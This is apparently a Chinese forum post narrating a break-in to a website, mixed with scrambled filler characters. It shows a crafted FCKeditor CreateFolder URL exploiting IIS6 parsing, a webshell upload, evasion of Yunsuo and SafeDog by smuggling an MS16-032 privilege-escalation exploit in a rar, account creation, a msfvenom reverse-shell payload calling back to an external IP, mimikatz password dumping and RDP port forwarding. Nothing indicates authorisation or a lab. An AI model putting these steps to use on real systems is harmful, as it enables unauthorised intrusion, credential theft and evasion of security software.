|
( b' h: ]7 m- W" U: c0 h( \' \4 ~
% x. z" b9 {8 N3 M* c/ b; |- m" x. W ) y$ @8 y) |; G! k+ C+ [
: D ?1 N/ _6 L3 ~! L9 ^9 I" B |
% R- O; k# ]. T3 c/ R+ l 7 ~! U. l3 v; h1 q& o
- l. A+ C$ p0 s0 [
一、 利用getwebshell篇
2 s+ R' o- s- a( k6 w
! [' x# J7 M+ m
首先对目标站进行扫描，发现是asp的，直接扫出网站后台和默认数据库，下载解密登陆如图：
. p9 Z7 k" v7 }" T
6 T2 |! E" Z) A
% P. d9 L5 R$ p1 Z' z
下面进后台发现有fckeditor，而且还是iis6.0的，可以考虑创建个asp目录来构造解析（fck编辑器路径被改成别的需要burpsuite抓包的时候看到）
7 V3 A3 @9 N( P) O) b. v! l" v
@/ w: N3 U& m3 D# Q下面我们构造一个asp目录，如：
$ r5 g, i+ t' l 8 @/ |; s9 ]& {% X% s5 P
2 q6 ?2 Z6 P7 f" a. Q* `! n0 B& W/ t
http://www.xxoo.com/manage/hscxeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975 7 D; U8 N; X8 f) ~+ A
+ D: w0 C( u1 z( k/ K2 L: Y O+ E* e
; e( m5 v- [2 H 然后再给shell.asp目录上传一个jpg图片格式的一句话，然后用hatchet打开，然后看了一下支持aspx，那么我们就用包含的办法先把aspx后缀名改成.rar，然后再创建个111.ASPx，里面包含rar文件，进去以后看进程有云锁和安全狗，那么，那么我们慢慢来，慢慢来。
/ K. |. @) Y( Y) [
5 h5 n, v! u2 F" j
一、 绕过安全狗云锁提权并且加账号
2 ~8 c- ^: J) F
* E7 I7 Z! Q" k, l
没法看系统信息，但是根据网站404页面可以断定是2003服务器，然后接着访问C:\Program Files (x86)存在断定是2003 64位系统，那么我们说干就干，我们上传ms16-032 64位直接干，但是发现上传exe或者别的格式exp会自动消失，看进程也没杀毒呀，没错没杀毒，是云锁有个功能防御了，那么突破云锁上传的方法就是利用rar，先把exp打包为64.rar上传，然后我们翻一下rar在哪个目录，在C:\Program Files (x86)，然后开干
( O. D4 c p P" t- V
3 R/ o2 ~6 ~/ I: L# m5 p) ]& ^3 n4 G如图：
7 a* D8 O' g: M
1 n8 J! ? M# n+ c$ ~* H* G
然后执行直接是system权限,然后我用干狗神器给加了一个账号用tunna反弹3968提示不是远程组，我操后来也想着用getpassword64抓明文密码，但是一执行就卡死，没办法想到了metasploit
# f6 G* c/ r! t
5 V# T4 d% e) s& S3 }5 Z
一、 利用metasploit
) P/ T% n, v0 {( a( C
* Z6 N6 @) p: J. H) X+ R
首先用pentestbox生成一个64位的payload如下命令
$ d/ c* }, X+ Y i% H
$ ^( y- j! ?" V* c, VmsfVENOM -p windows/x64meterpreter/reverse_tcp lhost=42.51.1.1 lport=443 -f exe > c:\mata.exe
$ u; y! H9 i* U# S8 g ^4 V1 G
5 v& n9 u1 I. Y: g- V; z4 n为什么要用443端口，之前我测试用别的端口直接被墙了没法上线，下面我们在system下执行这个mata，上线如图：
" y* s% n5 u' b1 E
4 ~1 k9 [9 x# L% N- q
下面我们用这个命令抓一下明文密码命令1：use mimikatz 命令2：kerberos如下图：
- I! }/ Z& |2 C. N" L, w+ s
0 x1 X' i/ _) Z7 @4 }3 o( s下面我们来做一个监听如下命令：
B/ m! S, [" L: {
" U5 P3 U, A3 k* Jportfwd add -l 6655 -p 3968 -r 127.0.0.1，这个命令的意思就是把目标服务器的远程3968转发到pentestbox的公网IP的6655端口如图：
! L2 R. {: M$ j' j( U3 {
% X/ \( G4 F0 n5 x# X9 I 3 T* t8 z5 ~" t9 e
|
# E& N7 z1 Q- ]$ l( q* \ ; g3 M- c1 b, c! p) U% o; J
* `6 x! r% U9 `2 v' d) s" J 8 N& @8 c; ^; [7 }
5 e$ ^, l Z% K/ T& ?2 ^! y- f9 w, g2 } t9 {1 B
( \- \/ v3 W9 X, w j5 J
9 W& U5 ?. [! |" ~
3 H' B# U2 R3 s R + ^- G% b$ R ~, f# N) S
! s# A; F6 P& M2 r
. t* ?8 ?3 @) a7 l$ S9 C4 L
7 N+ |5 S5 X, Z; }6 T# A- j# d2 I
, r0 U( p3 t+ ~8 ]. X | 
发表于 2018-10-20 20:31:43
收藏
支持
反对
匿名
发表于 2021-11-20 23:30:06